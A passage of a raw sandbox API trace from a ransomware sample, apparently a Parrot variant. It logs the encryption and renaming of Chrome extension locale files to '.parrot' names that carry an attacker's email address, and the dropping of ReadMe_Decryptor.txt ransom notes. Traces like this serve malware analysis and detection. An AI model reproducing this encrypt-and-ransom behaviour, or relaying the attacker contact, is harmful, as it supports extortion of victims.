hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.908] WriteFile (in: hFile=0x280, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0062.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0062.909] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x205, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.909] CloseHandle (hObject=0x280) returned 1 [0062.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d90f8 [0062.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0248 [0062.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.910] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0062.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160500 | out: hHeap=0x5b0000) returned 1 [0062.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0062.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3468 [0062.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0062.911] GetFileType (hFile=0x280) returned 0x1 [0062.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.978] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.978] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.978] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.979] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.979] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd7, lpOverlapped=0x0) returned 1 [0062.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0062.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.979] GetLastError () returned 0x0 [0062.980] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.980] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0228 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0370 [0062.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0062.981] WriteFile (in: hFile=0x280, lpBuffer=0x5d0370*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0370*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0062.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0062.982] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.982] CloseHandle (hObject=0x280) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d0228 [0062.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0370 [0062.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0062.983] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0062.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0062.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a3468 [0062.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x6a3590 [0062.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0062.984] GetFileType (hFile=0x280) returned 0x1 [0062.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.997] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.997] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.997] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.998] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.998] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd1, lpOverlapped=0x0) returned 1 [0062.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0062.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.999] GetLastError () returned 0x0 [0063.000] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0063.001] WriteFile (in: hFile=0x280, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0063.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0063.001] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.001] CloseHandle (hObject=0x280) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d90f8 [0063.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0228 [0063.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0063.002] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0063.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0063.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0063.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0063.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x6a3600 [0063.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0063.052] GetFileType (hFile=0x284) returned 0x1 [0063.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.065] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x278, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.065] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.065] ReadFile (in: hFile=0x288, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0063.066] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.066] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x160, lpOverlapped=0x0) returned 1 [0063.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0063.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.066] GetLastError () returned 0x0 [0063.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: 